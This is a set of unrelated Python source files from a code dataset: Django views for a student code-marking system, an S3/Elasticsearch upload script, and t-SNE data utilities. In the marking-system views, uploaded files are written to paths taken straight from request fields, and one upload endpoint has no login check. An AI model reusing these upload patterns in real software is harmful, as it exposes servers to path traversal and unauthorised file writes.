test_path will changed json_path\n            print(result[\"answer\"])\n\n            if result[\"answer\"] == 0:\n                ret = False\n            else:\n                ret = True\n            print(ret)\n            submit_try = SubmitTry.objects.get(userpk=req.user.pk, problempk=problem.pk)\n            submit_try.submit_try = submit_try.submit_try+1\n            submit_try.save()\n            get_result = SubmitResult(record=instance, result=ret, process_time=result[\"time\"],\n                                      correct_percent=result[\"answer_percent\"], timeout=result[\"timeout\"])\n            get_result.save()\n            return redirect('/problem/list')\n    else:\n        form = SubmitForm(req.user, problem_number)\n\n    return render(req, 'AMS/answer_submit.html', {'form': form, 'p_number': problem_number, 'problem': problem})\n\n\n@login_required\ndef submit_py_path(req):\n    upload_files = req.FILES.getlist('attachments')\n    file_names = [file.name for file in upload_files]\n    response = JsonResponse({'file_name': file_names})\n    return response\n\n\ndef save_metadata(instance):\n    media_path = os.path.join(settings.MEDIA_ROOT, instance.problem.p_name, 'submit',\n                              str(instance.user), str(instance.pk))\n    json_path = os.path.join(media_path, Config[\"django\"][\"code_meta_file\"])\n\n    if not os.path.exists(os.path.dirname(json_path)):\n        os.makedirs(os.path.dirname(json_path))\n    with open(json_path, \"w\") as file:\n        json.dump(\n            {\n                'language': instance.language,\n                'entry_point': instance.entry_point,\n                'problem_number': instance.problem.pk,\n                'problem_name': instance.problem.p_name,\n                'problem_blank': instance.problem.p_blank_accpet,\n                'time_limit': instance.problem.p_time_limit,\n            },\n            file, ensure_ascii=False)\n\n\n@login_required\ndef submit_result(req, problem_number):\n    problem = Problem.objects.get(pk=problem_number)\n\n    submit_try = SubmitTry.objects.get(userpk=req.user.pk, problempk=problem.pk)\n    get_record = SubmitRecord.objects.filter(user=req.user, problem=problem)\n    get_result = SubmitResult.objects.filter(record__in=get_record)\n    return render(\n        req,\n        'AMS/submit_result.html',\n        {'problem': problem, 'p_number': problem_number, 'record': get_record, 'result': get_result, 'trycount' : submit_try}\n    )\n\n\n@login_required\ndef all_result(req, problem_number):\n    data = []\n    problem = Problem.objects.get(pk=problem_number)\n    submit_try = SubmitTry.objects.filter(problempk=problem.pk)\n    users = User.objects.all()\n    for user in users:\n        try:\n            get_record = SubmitRecord.objects.filter(problem=problem, user=user)\n            get_result = SubmitResult.objects.filter(record__in=get_record).latest('record')\n            data.append(get_result)\n        except:\n            pass\n\n    return render(\n        req,\n        'AMS/allresult.html',\n        {'problem': problem, 'p_number': problem_number, 'record': get_record, 'result': data, 'trycount': submit_try}\n    )\n\n\n@login_required\ndef test(req):\n    return render(req, 'component/source_upload_widget.html', {'id': 'ic'})\n\n\ndef problem_files(req):\n    # print(req.POST['p_name'])\n    print(req.POST.get('p_number'))\n    media_path = os.path.join(settings.MEDIA_ROOT, req.POST['p_name'])\n    if req.POST.get('p_number') is not None:\n        print(\"1\")\n        problem = Problem.objects.get(pk=int(req.POST['p_number']))\n        real_path = os.path.join(settings.MEDIA_ROOT, problem.p_name)\n        shutil.move(real_path, media_path)\n    print(media_path)\n    codefile_path = os.path.join(media_path, 'answercode')\n\n    inputfile_path = os.path.join(media_path, 'inputfile')\n    outputfile_path = os.path.join(media_path, 'outputfile')\n    web_tab_number = req.POST['tabnum']\n    files = req.FILES\n    print(files)\n    print(web_tab_number)\n\n    if web_tab_number == \"1\":\n        language = int(req.POST.get('language'))\n        entry_point = ''\n        if language in (3, 4):\n            entry_point = req.POST.get('entry_point')\n        codefile = req.FILES.getlist('codefile')\n        codefolder = req.FILES.getlist('codefolder')\n        inputfile = req.FILES.getlist('inputfile')\n        inputfolder = req.FILES.getlist('inputfolder')\n        print(len(codefile))\n        print(len(codefolder))\n        if codefile or codefolder:\n            if os.path.exists(codefile_path):\n                print(\"delete\")\n                shutil.rmtree(codefile_path)\n            if codefile:\n                print(codefile)\n                handle_upload_file(req, codefile, codefile_path, 1)\n            if codefolder:\n                print(codefolder)\n                handle_upload_file(req, codefolder, codefile_path, 2)\n        if inputfile:\n            print(inputfile)\n            handle_upload_file(req, inputfile, inputfile_path, 1)\n        if inputfolder:\n            handle_upload_file(req, inputfolder, inputfile_path, 2)\n\n        outputCreatorPath = os.path.join(os.path.dirname(__file__), 'outfileCreator', 'outFile.sh')\n        print(entry_point)\n        call([outputCreatorPath, str(language), codefile_path, inputfile_path, outputfile_path, entry_point])\n\n    elif web_tab_number == \"2\":\n        language = int(req.POST.get('language'))\n        entry_point = ''\n        if language in (3, 4):\n            entry_point = req.POST.get('entry_point')\n        codefile = req.FILES.getlist('codefile')\n        handle_upload_file(req, codefile, codefile_path, 1)\n        codefolder = req.FILES.getlist('codefolder')\n        handle_upload_file(req, codefolder, codefile_path, 2)\n\n        json_path = os.path.join(codefile_path, Config[\"django\"][\"code_meta_file\"])\n        print(\"program files json path : \" + json_path)\n        with open(json_path, \"w\") as file:\n            json.dump(\n                {\n                    'language': language,\n                    'entry_point': entry_point\n                },\n                file, ensure_ascii=False)\n\n        response = HttpResponse()\n        response['X-ShellSession'] = onlineshellmanager.build_session()\n        return response\n\n    else:\n        inputfile = req.FILES.getlist('inputfile')\n        inputfolder = req.FILES.getlist('inputfolder')\n        outputfile = req.FILES.getlist('outputfile')\n        outputfolder = req.FILES.getlist('outputfolder')\n        if inputfile is not None:\n            handle_upload_file(req, inputfile, inputfile_path, 1)\n        if inputfolder is not None:\n            handle_upload_file(req, inputfolder, inputfile_path, 2)\n        if outputfile is not None:\n            handle_upload_file(req, outputfile, outputfile_path, 1)\n        if outputfolder is not None:\n            handle_upload_file(req, outputfolder, outputfile_path, 2)\n\n    return HttpResponse()\n\n\ndef handle_upload_file(req, files, path, check):\n    print(files)\n    for each in files:\n        file_name = each\n        print(file_name)\n        if check == 1:\n            filePath = os.path.join(path, str(file_name))\n        else:\n            tempfilePath = str(req.POST[str(file_name)])\n            if tempfilePath == \"\":\n                filePath = os.path.join(path, str(file_name))\n            else:\n                filePath = os.path.join(path, str(req.POST[str(file_name)]), str(file_name))\n            print(filePath)\n        if not os.path.exists(os.path.dirname(filePath)):\n            os.makedirs(os.path.dirname(filePath))\n        with open(filePath, 'wb+') as destination:\n            destination.write(each.read())\n\n\ndef errorlist(req, problem_number, rst_number):\n    problemname = Problem.objects.get(pk=problem_number).p_name\n    rstuser = SubmitResult.objects.get(pk=rst_number).record.user\n    errorlistpath = os.path.join(settings.MEDIA_ROOT, problemname, 'submit', str(rstuser), rst_number, 'log.txt')\n    with open(errorlistpath, 'r') as f:\n        content = f.read()\n\n    print(content)\n    return render(req, 'AMS/errorlist.html', {'content': content})\n\n\ndef after_submit(req, problem_number):\n    problem = Problem.objects.get(pk=problem_number)\n    submit_try = SubmitTry.objects.get(userpk=req.user.pk, problempk=problem_number)\n    get_record = SubmitRecord.objects.filter(user=req.user, problem=problem)\n    try:\n        get_result = SubmitResult.objects.filter(record__in=get_record).latest('record')\n        if get_result.result == False:\n            errorlistpath = os.path.join(settings.MEDIA_ROOT, problem.p_name, 'submit', str(get_result.record.user),\n                                         str(get_result.pk), 'log.txt')\n            with open(errorlistpath, 'r') as f:\n                content = f.read()\n            return render(req, 'AMS/after_submit.html',\n                      {'content': content, 'problem': problem, 'p_number': problem_number, 'record': get_record,\n                       'result': get_result, 'trycount': submit_try})\n        return render(req, 'AMS/after_submit.html',\n                  {'problem': problem, 'p_number': problem_number, 'record': get_record, 'result': get_result, 'trycount': submit_try})\n    except:\n        return render(req, 'AMS/no_matching.html', {'problem': problem, 'p_number': problem_number})\n\ndef hint(req, problem_number, rst_number):\n\n    problemname = Problem.objects.get(pk=problem_number).p_name\n    rstuser = SubmitResult.objects.get(pk=rst_number).record.user\n    hintpath = os.path.join(settings.MEDIA_ROOT, problemname, 'submit', str(rstuser), rst_number, 'hint.txt')\n    with open(hintpath, 'r') as f:\n        content = f.read()\n    f.close()\n    return render(req, 'AMS/hint.html', {'content': content})\n","repo_name":"ChupaChupaChups/Automatic-marking-system","sub_path":"WWW/AMS/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14809,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"13188676118","text":"import argparse\nfrom pathlib import Path\nimport sys\n\nsys.path.append(str(Path(__file__).absolute().parents[1]))\nfrom get_data.src import upload_to_db as upload\nfrom get_data.src import update_db\nfrom conf.cluster_conf import ES_HOST_PORT, ES_HOST_IP, ES_INDEX, LOG_INDEX, BUCKET_NAME\nfrom utils import logger\n\nlog = logger.Logger().create(logger_name=Path(__file__).name)\n\n\ndef _get_args(description):\n    parser = argparse.ArgumentParser(description=description,\n                                     formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument(\"label_file\", type=str, help=\"Path to the json label file\")\n    parser.add_argument(\"-b\", \"--bucket\", default=BUCKET_NAME,\n                        help=\"OPTIONAL. By default, bucket name is retrieved from the cluster_conf.py file\")\n    parser.add_argument(\"-k\", \"--key\", default=None,\n                        help=\"OPTIONAL. By default, key is automatically generated from the label. Final url of the \"\n                             \"picture: https://s3.amazonaws.com/<bucket_name>/<key_prefix><file_name>)\")\n    parser.add_argument(\"-i\", \"--index\", default=ES_INDEX,\n                        help=\"OPTIONAL. By default, index name is retrieved from the cluster_conf.py file\")\n    parser.add_argument(\"-f\", \"--force\", action=\"store_true\",\n                        help=\"Force option will overwrite existing pictures and labels in S3 and ES with new one\"\n                             \" if same img_id is found\")\n    parser.add_argument(\"-e\", \"--es_only\", action=\"store_true\",\n                        help=\"Only upload labels to Elasticsearch cluster and doesn't upload pictures to S3.\"\n                             \"However, picture in S3 will still be removed based on instruction from the label_file.\")\n    return parser.parse_args()\n\n\ndef upload_data():\n    \"\"\"\n    Upload and/or Delete picture in S3 and/or label in ES from a label file (json format). The label file shall be\n    in the same folder as the picture to upload.\n    The label file can contain one or more label in the form of a dictionary with the img_id as key for each label.\n    To see a label template, use the write_label_template.py function.\n    You will need credential for the upload. Access keys shall be defined in the following environment variables:\n    export PATATE_S3_KEY_ID=\"your_access_key_id\"\n    export PATATE_S3_KEY=\"your_secret_key_code\"\n    export PATATE_ES_USER_ID=\"your_es_user_id\"\n    export PATATE_ES_USER_PWD=\"your_es_password\"\n    \"\"\"\n    args = _get_args(upload_data.__doc__)\n    log.debug(\"Starting...\")\n    label_file = args.label_file\n    bucket_name = None if args.es_only else args.bucket\n    key_prefix = args.key\n    update_db.delete_picture_and_label(label_file, es_index=args.index, bucket=bucket_name)\n    upload.upload_to_db(label_file, ES_HOST_IP, ES_HOST_PORT, args.index,\n                        bucket_name=bucket_name, overwrite=args.force, key_prefix=key_prefix)\n    log.debug(\"Execution completed.\")\n    log.debug(\"Uploading log...\")\n    logger.Logger().upload_log(index=LOG_INDEX, es_host_ip=ES_HOST_IP, es_host_port=ES_HOST_PORT)\n\n\nif __name__ == \"__main__\":\n    upload_data()\n","repo_name":"42-AI/42ai_autonomous_cars","sub_path":"get_data/upload_data.py","file_name":"upload_data.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"13960426353","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom chains.commandline.formatter import Formatter\nfrom six.moves import range\n\n\nclass FormatterGeneric(Formatter):\n    def main(self, result):\n        return _printResult(result).rstrip()\n\n\ndef _printResult(res, depth=2):\n        maxDepth = 4\n        s = \"\"\n        indent = \"\"\n        for i in range(depth):\n            indent += \" \"\n        if type(res) == type([]):\n            if depth < maxDepth:\n                for x in res:\n                    s += _printResult(x, depth + 1)\n                    s += \"\\n\"\n            else:\n                s += \"%s%s\\n\" % (indent, res)\n        elif type(res) == type({}):\n            for k in res:\n                v = res[k]\n                if (type(v) == type([]) or type(v) == type({})) and depth < maxDepth:\n                    v = \"\\n%s\" % _printResult(v, depth + 1)\n                else:\n                    v = \"%s\\n\" % v\n                s += \"%s%s: %s\" % (indent, k, v)\n        else:\n            s += \"%s%s\\n\" % (indent, res)\n        return s\n","repo_name":"ChainsAutomation/chains","sub_path":"lib/chains/commandline/formatter/Generic.py","file_name":"Generic.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"16812151934","text":"import numpy as np\nimport pandas as pd\nfrom skimage import color, io\nfrom sklearn.manifold import Isomap\n\n\nfrom functools import partial\nimport itertools as it \nimport requests, tarfile, os, gzip, zipfile, glob, re\nfrom mlxtend.data import loadlocal_mnist\n\nimport matplotlib.pyplot as plt\n\nfrom tsne663 import *\n\n\n###################################################################################\n# Data Utilities\n###################################################################################\n\n\n\n###################################################################################\n# Pulling relevant data pets from weblinks\n###################################################################################\n\n\ndef pull_file(url, dest_file, chunk_size=128):\n    \"\"\"Retrieves zip file store at given url and saves to save_path\n           \n    Required inputs: \n        url          - url to zip file\n        dest_file    - path to local zip file \n    \n    \n    \"\"\"\n    r = requests.get(url, stream=True)\n    with open(dest_file, 'wb') as f:\n        print(f\"Downloading {url}\\n\")\n        for chunk in r.iter_content(chunk_size=chunk_size):\n            f.write(chunk)\n            \n        print(f\"Wrote file to {dest_file}\\n\")\n    \n\n# https://stackoverflow.com/questions/9419162/download-returned-zip-file-from-url\ndef get_uci(data_folder=\"./\",  chunk_size=128):\n    \"\"\"Retreives PANCAN gene expression data from UCI ML repository\n       Saves data within a folder called TCGA-PANCAN-HiSeq-801x20531.\n       \n       \n       Required inputs: \n           data_folder - path to location where TCGA-PANCAN-HiSeq-801x20531 is saved\n    \n       Optional inputs:\n           chunk_size  - rate at which bytes are downloaded \n        \n    \"\"\"\n    \n    url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00401/TCGA-PANCAN-HiSeq-801x20531.tar.gz\"\n    filename = url.split('/')[-1]\n    save_path = os.path.join(data_folder, filename)\n    pull_file(url, save_path, chunk_size)\n    \n    with tarfile.open(save_path) as f:\n        print(f\"Extracting tarfile to {data_folder}\\n\")\n        f.extractall(data_folder)\n        \n    os.remove(save_path)\n        \n    \ndef get_humanM1_10x(data_folder=\"./\",  chunk_size=128):\n    \"\"\"Retreives gene expression data on single-nucleus transcriptomes from 2 post-mortem human brain specimen.\n       The data were generated as part of a BICCN collaboration to characterize cell type diversity in M1 \n       across species and data modalities. \n       \n       Saves data within a folder called humanM1_10x.\n       \n       \n       Required inputs: \n           data_folder - path to location where humanM1_10x is saved\n    \n       Optional inputs:\n           chunk_size ~ rate at which bytes are downloaded \n    \n    \"\"\"\n    \n    folder_path = os.path.join(data_folder, \"humanM1_10x\")\n    \n    if not os.path.exists(folder_path):\n        os.mkdir(folder_path)\n    \n    # Downloading gene expression matrix\n    gene_url = \"https://idk-etl-prod-download-bucket.s3.amazonaws.com/aibs_human_m1_10x/matrix.csv\"\n    filename = gene_url.split('/')[-1]\n    save_path = os.path.join(folder_path, filename)\n    pull_file(gene_url, save_path, chunk_size)\n    \n    \n    # Downloading meta data\n    meta_url = \"https://idk-etl-prod-download-bucket.s3.amazonaws.com/aibs_human_m1_10x/metadata.csv\"\n    filename = meta_url.split('/')[-1]\n    save_path = os.path.join(folder_path, filename)\n    pull_file(meta_url, save_path, chunk_size)\n    \n    \n    \n    \ndef get_mnist(data_folder='./', chunk_size=128):\n    \"\"\"Retreives images of mnist digits and corresponding labels\n       Saves data within a folder called mnist.\n       \n       \n       Required inputs: \n           data_folder - path to location where mnist is saved\n    \n       Optional inputs:\n           chunk_size  - rate at which bytes are downloaded \n    \n    \"\"\"\n    \n    \n    folder_path = os.path.join(data_folder, \"mnist\")\n    \n    if not os.path.exists(folder_path):\n        os.mkdir(folder_path)\n        \n        \n    img_url = \"http://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz\"\n    zipname = img_url.split('/')[-1]\n    extract_name = zipname.split('.')[0]\n    save_path = os.path.join(folder_path, zipname)\n    image_bytes = os.path.join(folder_path, extract_name)\n    pull_file(img_url, save_path, chunk_size)\n    \n    print(f\"Extract {save_path} to {image_bytes}\\n\")\n    with gzip.open(save_path, 'rb') as f_in:\n        \n        with open(image_bytes, 'wb') as f_out:\n            f_out.write(f_in.read())\n\n        \n    # remove zip file\n    print(f\"Removing {save_path}\\n\")\n    os.remove(save_path)\n    \n    label_url = \"http://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz\"\n    zipname = label_url.split('/')[-1]\n    extract_name = zipname.split('.')[0]\n    save_path = os.path.join(folder_path, zipname)\n    label_bytes = os.path.join(folder_path, extract_name)\n    pull_file(label_url, save_path, chunk_size)\n    \n    print(f\"Extract {save_path} to {label_bytes}\\n\")\n    with gzip.open(save_path, 'rb') as f_in:\n        \n        with open(label_bytes, 'wb') as f_out:\n            f_out.write(f_in.read())\n\n        \n    # remove zip file\n    print(f\"Removing {save_path}\\n\")\n    os.remove(save_path)\n    \n    \n    # Load mnist data\n    X, y = loadlocal_mnist(\n            images_path=image_bytes, \n            labels_path=label_bytes)\n    \n    X_path = os.path.join(folder_path,\"X_MNIST.npy\")\n    y_path = os.path.join(folder_path,\"y_MNIST.npy\")\n    \n    print(f\"Saving MNIST images to {X_path}\\n\")\n    np.save(X_path, X)\n    \n    print(f\"Saving MNIST image labels to {y_path}\\n\")\n    np.save(y_path, y)\n    \n    os.remove(image_bytes)\n    os.remove(label_bytes)\n    \n    \ndef get_coil20(data_folder='./', chunk_size=128):\n    \"\"\"Retreives COIL-20 data of processed images.\n       Saves data within a folder called coil-20.\n       \n       \n       Required inputs: \n           data_folder - path to location where coil-20 is saved\n    \n       Optional inputs:\n           chunk_size ~ rate at which bytes are downloaded \n    \n    \"\"\"\n    \n    url = \"http://www.cs.columbia.edu/CAVE/databases/SLAM_coil-20_coil-100/coil-20/coil-20-proc.zip\"\n    zipname = url.split('/')[-1]\n    zip_path = os.path.join(data_folder, zipname)\n    pull_file(url, zip_path, chunk_size)\n\n    print(f\"Extracting {zip_path}\")\n    with zipfile.ZipFile(zip_path, 'r') as f:\n        f.extractall(data_folder)\n    \n    os.remove(zip_path)\n    \n    \n    \n\n###################################################################################\n# Processing data so that they are in the appropiate format\n###################################################################################\n\ndef proc_coil20(data_folder='./coil-20-proc'):\n    \"\"\"Generates feature matrix for images from COIL-20 data set and extracts image labels\n    from file names.\n       Saves data within a folder called coil-20.\n       \n       \n       Required inputs: \n           data_folder - path to location where coil-20 images are stored\n    \"\"\"\n    \n    globpath = os.path.join(data_folder, '*.png')\n    file_names = list(map(os.path.basename, glob.glob(globpath)))\n    labels = np.vstack([re.findall(r'([a-zA-Z]+\\d+|\\d+(?=\\.))', file) for file in  file_names])\n    \n    label_path = os.path.join(data_folder, 'y_COIL.csv')\n    np.savetxt(label_path, labels, fmt='%s')\n    \n    arrays = []\n    for file_path in file_names:\n        img_path = os.path.join(data_folder, file_path)\n        img = io.imread(img_path)\n        n,p = img.shape\n        arrays.append(img.reshape((1, n*p)))\n        \n    image_path = os.path.join(data_folder, 'X_COIL.npy')\n    np.save(image_path, np.vstack(arrays))\n    \n    \n    \n###################################################################################\n# Loading data for analysis \n###################################################################################\n\ndef load_mnist(folderpath='./data/mnist', size=None):\n    \"\"\"Loads mnist data set\n    \n    Required inputs: \n        folderpath - to folder with coild20 data\n    \n    Optional inputs:\n        size ~ sample size \n    \n    Outputs:\n        X ~ pixel data for mnist dat\n        Y - digit labels correponding to \n    \n    \"\"\"\n    \n    data_path = os.path.join(folderpath, 'X_MNIST.npy')\n    label_path = os.path.join(folderpath, 'y_MNIST.npy')\n    X = np.load(data_path)\n    Y = np.load(label_path)\n    \n    if isinstance(size, int):\n        index = np.random.choice(np.arange(Y.size), size=size)\n        \n        return X[index, :], Y[index]\n        \n    \n    return X,Y\n\ndef load_coil20(folderpath='./data/coil-20-proc', size=None):\n    \"\"\"Loads coil-20 data set\n    \n    Required inputs: \n        folderpath - to folder with mnist data\n    \n    Optional inputs:\n        size ~ sample size \n    \n    Outputs:\n        X ~ pixel data for coil 20 images\n        Y - image labels correponding to \n    \n    \"\"\"\n    \n    data_path = os.path.join(folderpath, 'X_COIL.npy')\n    label_path = os.path.join(folderpath, 'y_COIL.csv')\n    X = np.load(data_path)\n    Y = np.genfromtxt(label_path, dtype='str')\n\n    \n    if isinstance(size, int):\n        index = np.random.choice(np.arange(X.shape[0]), size=size)\n        \n        return X[index, :], Y[index, :]\n        \n    \n    return X,Y\n\n\ndef load_UCI(folderpath='./TCGA-PANCAN-HiSeq-801x20531', size=None):\n    \"\"\"Loads PANCAN atlas data from UCI\n    \n    Required inputs: \n        folderpath - to folder with UCI RNA gene expression data\n    \n    Optional inputs:\n        size ~ sample size \n    \n    Outputs:\n        X ~ gene expressions\n        Y - type of tumor\n    \n    \"\"\"\n    \n    data_path = os.path.join(folderpath, 'data.csv')\n    label_path = os.path.join(folderpath, 'labels.csv')\n    \n    X = pd.read_csv(data_path)\n    Y = pd.read_csv(label_path)\n\n    \n    samples = X[[\"Unnamed: 0\"]]\n    \n    # Merge sample ids to meta_data to get class labels \n    samples = samples.merge(Y, how=\"left\", on=\"Unnamed: 0\")\n    \n    if isinstance(size, int):\n        index = np.random.choice(np.arange(Y.size), size=size)\n        \n        return X.values[index, 1:].astype(int), samples.Class.values[index]\n        \n    \n    return X.values[:, 1:].astype(int), samples.Class.values\n\n\n\ndef load_humanM1(folderpath='./data/humanM1_10x', nrows=3000):\n    \"\"\"Loads human M1 10x data\n    \n    Required inputs: \n        folderpath - to folder with UCI RNA gene expression data\n    \n    Optional inputs:\n        size ~ sample size \n    \n    Outputs:\n        X ~ gene expressions\n        Y - type of tumor\n    \n    \"\"\"\n    \n    data_path = os.path.join(folderpath, 'matrix.csv')\n    label_path = os.path.join(folderpath, 'metadata.csv')\n    \n    data = pd.read_csv(data_path, nrows = nrows)\n    meta_data = pd.read_csv(label_path)\n    \n    #  Extract sample ids from gene expression matrix\n    labels = data[[\"sample_name\"]]  \n    \n    # Merge sample ids to meta_data to get class labels \n    labels = labels.merge(meta_data, how=\"left\", on=\"sample_name\")\n    \n    return data.values[:,1:].astype(int), labels[[\"class_label\", \"subclass_label\"]].values\n\n\n\n    \n###################################################################################\n# Plot comparing t-SNE, PCA, and Isomap accross different data sets\n###################################################################################\n\n\ndef gen_fmt_dict(y, colors, shapes):\n    \"\"\"Assigns colors to unique labels\n    \n       Required Inputs:\n    \n       y      - vector of labels\n       colors - list of colors\n       \n       \n       Output:\n       Dictionary mapping class label to color\n    \"\"\"\n    \n    return  {g[0]: {'c' : g[1][1], 'm' : g[1][0]} for g in zip(np.sort(np.unique(y)), it.product(shapes, colors))}\n    \n\ndef compare_methods_2d(data_list: list, label_list: list, data_names: list, fmt_list: list,\n                    legends=[True, True, True], niter=1000, verbose=False, n_neighbors = 20,\n                    perplexity = 30, optim = \"fastest\", df = 1):\n    \"\"\"Runs tsne, pca, and isomap on a list of n data sets and compares results in a 3xn panel plot.\n    \n    Required inputs: \n        data_list     - list of data sets\n        label_list    - list of labels corresponding to data set\n        fmt_list      - list of dictionaries that map labels to color and shape for scatter plots \n    \n    Optional inputs:\n        legends       - list of booleans indicating where to use legend for plots corresponding to dataset\n        niter         - number of iterations for tsne\n        alpha_int     - initial value of momentum\n        verbose       - bool, whether or not to print a progress bar\n        n_neighbors   - number of neighbors to use in isomap\n    \n    Outputs:\n        3xn panel plot\n    \"\"\"\n    # Used referene below\n    # https://stackoverflow.com/questions/46266700/how-to-add-legend-below-subplots-in-matplotlib\n    \n    methods = {\"t-SNE\": tsne, \"PCA\": pca, \"Isomap\": Isomap}\n    params =  {\"t-SNE\" : {\"niter\" : niter, \"perplexity\" : perplexity,\n                          \"optim\" : optim, \"verbose\" : verbose, \"df\" : df},\n               \"PCA\"   : {\"k\" : 2},\n               \"Isomap\": {\"n_neighbors\" : n_neighbors, \"n_components\" : 2}\n              }\n\n    nrows =  len(methods)\n    ncols =  len(data_list)\n    \n    \n    # Configure axes\n    axes = []\n    fig = plt.figure(figsize = (12, 3 * nrows))\n    \n    for ind1, X in enumerate(data_list):\n        fmt_dict = fmt_list[ind1]\n        labs = label_list[ind1]\n        for ind2, method in enumerate(methods):\n            \n            embedding = partial(methods[method], **params[method]) \n            \n            if method==\"t-SNE\":\n                low_d = embedding(X)\n                low_d = low_d[-1,:,:]\n\n            elif method==\"Isomap\":\n                iso  = embedding()\n                low_d = iso.fit_transform(X)\n\n            else:\n                low_d = embedding(X) \n\n  \n            axes.append(fig.add_subplot(nrows, ncols, 1 + ind1 + (ind2)*ncols))\n            if ind2 == 0:\n                axes[-1].set_title(data_names[ind1],\n                                   fontdict={'size':20, 'fontweight':'normal'})\n                \n            if ind1 == 0:\n                axes[-1].set_ylabel(method, \n                                    rotation=0,\n                                    fontdict={'size':16, 'fontweight':'normal'})\n                axes[-1].yaxis.set_label_coords(-0.15,.8)\n\n            for lab in fmt_dict.keys():\n                index = labs == lab\n                fmt = fmt_dict[lab]\n                axes[-1].scatter(low_d[index,0], low_d[index,1], alpha=0.8, \n                                 c=fmt['c'], marker = fmt['m'],\n                                 edgecolors='none', s=30, label=lab)\n\n            if (ind2 + 1 == nrows) and legends[ind1]==True:\n                axes[-1].legend(loc='best', \n                        fancybox=False, shadow=False, ncol=1)\n\n            axes[-1].set_xticklabels([])\n            axes[-1].set_yticklabels([])\n            axes[-1].xaxis.set_ticks_position('none')\n            axes[-1].yaxis.set_ticks_position('none')\n            \n\n            \n\n    fig.subplots_adjust(bottom=0.3, wspace=0.33)    \n    fig.tight_layout()    \n    \n    \n    \n    ","repo_name":"robkravec/t-SNE-Implementation","sub_path":"data/data_utilities.py","file_name":"data_utilities.py","file_ext":"py","file_size_in_byte":15136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8262040651","text":"#!/usr/bin/python\n# coding=utf-8\n\n# This is the final analysis script.  It reads data from the FoldX\n# jobs directory and can compute various things depending on\n# command-line switches:\n# - Boltzmann Distribution for all mutations,\n#   the corresponding Site Shannon Entropies, and the epitope Structural\n#   Entropies\n# - Structural Entropy for all sites (--scan)\n# - 3-D displacements due to mutations (experimental, --displacement)\n\nfrom __future__ import print_function\nimport functools\n\nimport math\nimport os\nimport json\nimport re\nimport sys\nimport csv\nimport click\nimport datetime\nfrom traceback import print_exc\nfrom multiprocessing import Pool, Manager, cpu_count\n\nimport bigfloat\nfrom bigfloat import BigFloat\n\nfrom proteins import proteins, pdbs, codes\n\nfrom collections import defaultdict\n\n# Define and error printing function in lieu of logging api\neprint = functools.partial(print, file=sys.stderr)\n\n\n# In trying to replicate the results of Pereyra et al, we explored\n# dividing the change in free energy by the symmetry number of a\n# rotamer.  For example, a setting of rotamerSymmetriesToTry = [1,6]\n# will calculate results using both the total free energy deltas and\n# the total energy deltas divided by 6\nrotamerSymmetriesToTry = [1]\n\n# Trying to figure out units in the original paper, we explored\n# dividing the energies by the Boltzmann Constant times temperature.\n# This affects the magnitude of the elements in the Boltzmann\n# Distribution, but it does not impact the final Shannon Entropy\n# calculations.  Setting divideByKTToTry = [True,False] will produce\n# results with and without the division by the kT constant\ndivideByKTToTry = [False]\n\nsite_summary = {}\ncomparison = []\n\n\n# Constants\nboltzmannConstant = 0.0019872041  # kcal/(mole.Kelvin)\ntemperature = 298  # Kelvin\n# We are dealing with small values that _should_ fit in an IEEE double\n# precision float, but we use BigFloat throughout for certainty\nbigfloatPrecision = 100\n\n# The basic approach of this script is to recursively read all\n# directories in the jobs_dir and mark whether they belong to the\n# protein/site range/epitope selected for analysis.  Each selected job\n# directory is then represented by a MutationEvaluator object which\n# performs lazy evaluation of various values for the amino acid\n# substitution represented by that job directory.  The Structural\n# Entropy (or displacement) for each epitope or site range is accessed\n# by invoking the relevant MutationEvaluators, which use cached\n# computations if the site has already been processed by another\n# epitope or site range.  Since many epitopes overlap, this caching\n# structure speeds up computation considerably.\n@click.command()\n@click.option('--debug/--no-debug', default=False,\n              help='Show script debugging information')\n@click.option('--quiet/--no-quiet', '-q', default=False,\n              help='Suppress warnings about missing data')\n@click.option('--protein', '-p', type=click.Choice(proteins.keys()),\n              help=('Limit analysis to a specific protein (used in conjunction'\n                    ' with --sites)'))\n@click.option('--sites', '-s',\n              help=('Site range to analyze, using a dash range: \"115-121\".'\n                    ' Ranges are inclusive. Must also specify --protein'))\n@click.option('--epitope', '-e',\n              help=('Limit computation to a specific epitope. Shortcut for'\n                    ' setting --protein and --site'))\n# experimental mode to compute the sum of squared displacements for each epitope,\n@click.option('--displacement/--no-displacement', '-d', default=False,\n              help=('Use displacement calculation instead of energies.'\n                    ' Requires a flag which sets the protein.'))\n@click.option('--baseline', '-b', type=click.Choice(['absolute', 'raw']),\n              default='absolute',\n              help='How to preprocess energies before entropy calculation')\n@click.option('--exclude-wt/--no-exclude-wt', default=False,\n              help=('If set, the Boltzmann distribution does not include the'\n                    ' WT energy difference (which is always 0.0)'))\n@click.option('--csv-file', '-c', default=None,\n              help=('Base pathname (without extension) for a CSV dump of the'\n                    ' results'))\n@click.option('--json/--no-json', default=False,\n              help='Generate json results in addition to csv')\n@click.option('--header/--no-header', default=True,\n              help='Include or exclude the header row from the CSV files')\n@click.option('--tab-delimited', default=False,\n              help='Use tab delimiters instead of commas in the CSV files')\n@click.option('--scan', type=int,\n              help=('Computes SE\\'s for a sliding window across all sites.'\n                    ' This is is the number of sites in the sliding window.'))\n@click.option('--energy-map', default=False,\n              help=('Compute average energy deltas of all possible amino acid'\n                    ' substitutions vs WT'))\n@click.option('--energies', default=False,\n              help='outputs the raw energy delta data')\n@click.argument('jobs_dir')\ndef main(debug, quiet, protein, sites, epitope, displacement, baseline,\n         exclude_wt, csv_file, json, header, tab_delimited, scan, energy_map,\n         energies, jobs_dir):\n    include_wt = not exclude_wt\n    print(\"Jobs dir...{}\".format(datetime.datetime.now()))\n    